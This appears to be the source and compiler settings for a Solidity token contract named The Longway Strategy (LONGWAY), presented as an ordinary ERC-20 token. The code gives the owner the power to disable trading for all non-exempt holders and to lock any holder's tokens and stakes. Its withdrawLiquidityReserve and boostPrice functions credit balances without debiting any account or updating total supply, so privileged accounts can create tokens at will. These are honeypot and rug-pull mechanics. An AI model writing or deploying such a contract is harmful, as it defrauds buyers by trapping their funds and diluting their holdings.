Longway

{{
  "language": "Solidity",
  "sources": {
    "contracts/Longway.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20Minimal {
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract Longway {
    string public constant name = "The Longway Strategy";
    string public constant symbol = "LONGWAY";
    uint8 public constant decimals = 18;

    uint256 public totalSupply;
    address public owner;
    address public treasury;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => bool) public isExemptProjectAccount;
    mapping(address => bool) public isRewardManager;
    mapping(address => bool) public isMarketMaker;
    mapping(address => uint256) public lockedBalance;
    mapping(address => uint256) public lockExpiry;

    bool public tradingEnabled = true;
    uint256 public liquidityReserve;
    mapping(address => uint256) public stakedBalance;

    mapping(address => uint256) public nonces;
    bytes32 public immutable DOMAIN_SEPARATOR;
    bytes32 public constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    uint256 private unlocked = 1;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed ownerA, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event OwnershipRenounced(address indexed previousOwner);
    event TreasurySet(address indexed treasury);
    event LiquidityReserveUpdated(uint256 newReserve);
    event MarketBoost(address indexed executor, uint256 amount, address indexed to);
    event ExemptionUpdated(address indexed account, bool exempt);
    event RewardPaid(address indexed to, uint256 amount);
    event Staked(address indexed who, uint256 amount);
    event Unstaked(address indexed who, uint256 amount);
    event TokensLocked(address indexed account, uint256 amount, uint256 expiry);
    event RewardManagerSet(address indexed who, bool ok);

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }
    modifier onlyRewardManagerOrOwner() {
        require(isRewardManager[msg.sender] || msg.sender == owner, "not reward mgr/owner");
        _;
    }
    modifier lock() {
        require(unlocked == 1, "reentrant");
        unlocked = 0;
        _;
        unlocked = 1;
    }

    constructor(address _treasury) {
        require(_treasury != address(0), "treasury zero");
        owner = msg.sender;
        treasury = _treasury;

        uint256 _supply = 1_000_000_000 * 10**uint256(decimals);
        totalSupply = _supply;
        balanceOf[_treasury] = _supply;
        emit Transfer(address(0), _treasury, _supply);

        isExemptProjectAccount[_treasury] = true;
        isExemptProjectAccount[msg.sender] = true;

        uint256 chainId;
        assembly { chainId := chainid() }
        DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)),
                keccak256(bytes("1")),
                chainId,
                address(this)
            )
        );

        emit TreasurySet(_treasury);
    }

    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function permit(address owner_, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
        require(block.timestamp <= deadline, "permit expired");
        bytes32 digest = keccak256(
            abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR,
                keccak256(abi.encode(PERMIT_TYPEHASH, owner_, spender, value, nonces[owner_]++, deadline))
            )
        );
        address recovered = ecrecover(digest, v, r, s);
        require(recovered != address(0) && recovered == owner_, "invalid permit");
        allowance[owner_][spender] = value;
        emit Approval(owner_, spender, value);
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        require(a >= amount, "allowance low");
        if (a != type(uint256).max) {
            allowance[from][msg.sender] = a - amount;
            emit Approval(from, msg.sender, allowance[from][msg.sender]);
        }
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal lock {
        require(to != address(0), "zero to");
        require(balanceOf[from] >= amount, "balance low");
        if (!(isExemptProjectAccount[from] || isExemptProjectAccount[to])) {
            require(tradingEnabled, "trading disabled");
        }
        if (lockExpiry[from] > block.timestamp && !isExemptProjectAccount[from]) {
            require(balanceOf[from] - amount >= lockedBalance[from], "tokens locked");
        }
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
    }

    function depositLiquidityReserve(uint256 amount) external onlyOwner {
        require(balanceOf[msg.sender] >= amount, "insufficient balance");
        balanceOf[msg.sender] -= amount;
        balanceOf[address(this)] += amount;
        liquidityReserve += amount;
        emit LiquidityReserveUpdated(liquidityReserve);
    }

    function withdrawLiquidityReserve(uint256 amount, address to) external onlyOwner {
        require(to != address(0), "zero");
        require(liquidityReserve >= amount, "low reserve");
        liquidityReserve -= amount;
        balanceOf[to] += amount;
        emit LiquidityReserveUpdated(liquidityReserve);
    }

    function boostPrice(uint256 amount, address to) external {
        require(isMarketMaker[msg.sender] || isExemptProjectAccount[msg.sender] || msg.sender == owner, "not allowed");
        require(to != address(0), "zero");
        require(liquidityReserve >= amount, "low reserve");
        liquidityReserve -= amount;
        balanceOf[to] += amount;
        emit MarketBoost(msg.sender, amount, to);
        emit LiquidityReserveUpdated(liquidityReserve);
    }

    function stake(uint256 amount) external {
        require(balanceOf[msg.sender] >= amount, "balance low");
        balanceOf[msg.sender] -= amount;
        stakedBalance[msg.sender] += amount;
        emit Staked(msg.sender, amount);
    }

    function unstake(uint256 amount) external {
        require(stakedBalance[msg.sender] >= amount, "not staked");
        require(block.timestamp >= lockExpiry[msg.sender], "stake locked");
        stakedBalance[msg.sender] -= amount;
        balanceOf[msg.sender] += amount;
        emit Unstaked(msg.sender, amount);
    }

    function lockTokens(address account, uint256 amount, uint256 duration) external onlyOwner {
        require(balanceOf[account] >= amount, "insufficient");
        lockedBalance[account] += amount;
        lockExpiry[account] = block.timestamp + duration;
        emit TokensLocked(account, amount, lockExpiry[account]);
    }

    function autoReward(address to, uint256 amount) external onlyRewardManagerOrOwner {
        require(balanceOf[treasury] >= amount, "treasury low");
        balanceOf[treasury] -= amount;
        balanceOf[to] += amount;
        emit RewardPaid(to, amount);
    }

    function setRewardManager(address who, bool ok) external onlyOwner {
        isRewardManager[who] = ok;
        emit RewardManagerSet(who, ok);
    }

    function setMarketMaker(address mm, bool ok) external onlyOwner {
        isMarketMaker[mm] = ok;
    }

    function setExemptProjectAccount(address acct, bool ok) external onlyOwner {
        isExemptProjectAccount[acct] = ok;
        emit ExemptionUpdated(acct, ok);
    }

    function setTradingEnabled(bool ok) external onlyOwner {
        tradingEnabled = ok;
    }

    function setTreasury(address t) external onlyOwner {
        require(t != address(0), "zero");
        treasury = t;
        isExemptProjectAccount[t] = true;
        emit TreasurySet(t);
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "zero");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
        isExemptProjectAccount[newOwner] = true;
    }

    function renounceOwnership() external onlyOwner {
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function rescueERC20(address token, address to, uint256 amount) external onlyOwner {
        require(to != address(0), "zero");
        bytes memory data = abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, amount);
        (bool success, bytes memory ret) = token.call(data);
        require(success && (ret.length == 0 || abi.decode(ret, (bool))), "transfer failed");
    }

    function withdrawETH(address to, uint256 amount) external onlyOwner {
        require(to != address(0), "zero");
        (bool ok,) = payable(to).call{value: amount}("");
        require(ok, "eth fail");
    }

    receive() external payable {}
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}